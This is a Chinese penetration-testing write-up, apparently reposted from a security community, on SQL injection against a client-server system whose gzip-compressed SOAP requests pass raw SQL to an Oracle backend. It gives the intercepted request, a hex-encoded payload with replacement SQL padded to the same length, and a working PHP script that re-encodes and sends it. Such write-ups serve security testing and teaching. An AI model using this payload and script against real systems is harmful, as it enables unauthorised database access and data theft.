某c/s架构系统的一次sql注入记录

2020-04-13 约 178 字 预计阅读 1 分钟

声明:本文 【某c/s架构系统的一次sql注入记录】 由作者 yhbl 于 2020-04-13 08:37:26 首发 先知社区 曾经 浏览数 143 次

感谢 yhbl 的辛苦付出!

前言


在渗透该C/S架构的系统时,我们通常会使用Wireshark抓取传输流量分析数据包,在分析时发现传输协议使用http协议但是数据使用了gzip方式压缩。
在进行漏洞挖掘时,我对于该系统的业务功能进行逐个尝试,并且观察对应的数据包,经过解码后发现有某些数据包中存在了SQL语句。接下来的挖掘思路转换为通过更改原始的SQL语句,然后把更改后的数据包进行gzip编码后重新发送,验证我们的SQL注入有没有成功执行。

SQL查询的发现


首先,我们要对于客户端的流量进行一个抓取,使用Wireshark抓取流量的话没法方便查看GZIP解码之后的数据。所以我的方式是使用BurpSuite来抓取流量,利用BurpSuite自带的GZIP解码功能能够方便查看解码之后的请求包和响应包。但是有一个小Bug,发送时必须更改回原来编码的格式,这个过程Burpsuite没办法自己完成。

代理方式:在一个windows虚拟机中运行该客户端,然后在虚拟机设置局域网代理,设置为我们本机的一个虚拟机网卡,然后在BurpSuite上设置监听该网卡就可以了。

接下来我对于该客户端的业务功能进行逐个排查,在执行某业务的表单查询功能时,我在交互数据包中发现了意外之喜,在中间一个数据包中出现了连表查询的SQL语句。下面是解码之后的数据包

POST /TdsWebService/OracleDeveloperSVC.svc HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "ExecuteDataSet"
Host: x.x.x.x
Content-Length: 1156
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: close
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><ExecuteDataSet xmlns="http:/x.x.x.x"><loginKey><OperatorId xmlns="http:/x.x.x.x">116307830</OperatorId><Version xmlns="http:/x.x.x.x">1.0</Version><UserType xmlns="http:/x.x.x.x">TDS</UserType><CompanyId xmlns="http:/x.x.x.x">910</CompanyId><LanguageCode xmlns="http:/x.x.x.x">CN</LanguageCode><Transcode xmlns="http:/x.x.x.x">Login</Transcode><LoginStamp xmlns="http:/x.x.x.x">20190827101905679116307830</LoginStamp><FinLoginYear xsi:nil="true" xmlns="http:/x.x.x.x"/></loginKey><sql>
select a.* 
  from sysc106 a
  INNER JOIN sysc106c b ON b.vtranscode = a.vtranscode AND b.ncompanyid = a.ncompanyid
 where a.ncompanyid = 194910 </sql></ExecuteDataSet></s:Body></s:Envelope>

传输时的原始数据

构造SQL注入

从我们发现的数据包来看,中间<sql>参数直接传递了一个SQL语句去交给后端执行,我的思路是通过替换该SQL语句来执行恶意的SQL语句(这都可以叫做时SQL的代码执行)。
为了方便我们替换SQL语句,我首先把数据包全部转成16进制形式,然后定位select出现的位置,接着替换为恶意SQL代码的16进制形式然后在转换成字符形式发送给服务端。
完整的构造过程:
第一步, 获得原始数据包的16进制形式
原始数据包(使用16进制保存)-> 16进制转换字符串 -> gzdecode()函数解码(php函数) -> 字符串转换18进制
第二步,构造SQL注入</sql>

对于原始的16进制数据进行SQL语句替换
56020b0173040b0161065608440a1e0082990e4578656375746544617461536574441aad08022726e62dcd498294875e3e929ca8442c442aab1401440c1e00829937687474703a2f2f31302e362e3139332e39372f546473576562536572766963652f4f7261636c65446576656c6f7065725356432e73766301560e090378736929687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e6365090378736420687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61400e4578656375746544617461536574082a687474703a2f2f544453536572766963652e53657276696365436f6e7472616374732f323030372f303740086c6f67696e4b6579400a4f70657261746f724964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699083638373936343339400756657273696f6e082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369903312e3040085573657254797065082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699035444534009436f6d70616e794964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369906313934393130400c4c616e6775616765436f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369902434e40095472616e73636f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699054c6f67696e400a4c6f67696e5374616d70082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f3036991932303139303832373130353435333431313638373936343339400c46696e4c6f67696e596561720503787369036e696c980474727565082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30360101400373716c98960d0a    //不需要更改数据
73656c65637420757365722066726f6d206475616c20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020    //经过填充后的SQL语句 大小为296(语句长度必须与原语句长度相同)
01010101   //结束字符

第三步,将更改后的16进制数据转换为字符传然后进行gzip编码后重新发送
利用脚本

<?php
$data = '';   //gzip编码数据解码(需要先将数据保存为16进制格式)
$re1 =  gzdecode(hex2bin($data));
echo  bin2hex($re1);
echo $re1.PHP_EOL;
$req = '56020b0173040b0161065608440a1e0082990e4578656375746544617461536574441aad08022726e62dcd498294875e3e929ca8442c442aab1401440c1e00829937687474703a2f2f31302e362e3139332e39372f546473576562536572766963652f4f7261636c65446576656c6f7065725356432e73766301560e090378736929687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e6365090378736420687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61400e4578656375746544617461536574082a687474703a2f2f544453536572766963652e53657276696365436f6e7472616374732f323030372f303740086c6f67696e4b6579400a4f70657261746f724964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699083638373936343339400756657273696f6e082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369903312e3040085573657254797065082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699035444534009436f6d70616e794964082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369906313934393130400c4c616e6775616765436f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30369902434e40095472616e73636f6465082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f303699054c6f67696e400a4c6f67696e5374616d70082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f3036991932303139303832373130353435333431313638373936343339400c46696e4c6f67696e596561720503787369036e696c980474727565082d687474703a2f2f544453536572766963652e5075626c696344617461436f6e7472616374732f323030372f30360101400373716c98960d0a73656c6563742075746c5f696e616464722e6765745f686f73745f616464726573732066726f6d206475616c202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202001010101';
//构造payload
$req_encode = gzencode(hex2bin($req));
//$req_encode = gzencode($re1);
function httpRequest($sUrl, $aHeader, $aData){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $sUrl);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $aHeader);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $aData);
    $sResult = curl_exec($ch);
    if($sError=curl_error($ch)){
        die($sError);
    }
    curl_close($ch);
    return $sResult;
}
$sUrl = 'http://x.x.x.x/TdsWebService/OracleDeveloperSVC.svc';
$aData = $req_encode;
$aHeader = array('Content-Type: application/x-gzip','Accept-Encoding: gzip, deflate','Content-Length: ' . strlen($aData));
echo  gzdecode(httpRequest($sUrl,$aHeader,$aData));

利用结果

小结

在黑盒挖掘系统漏洞时,要细心验证每一个业务系统功能,查看相对应的所有交互数据包,然后去验证你的猜想,有时候开发人员的脑洞会让你有意外之喜。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now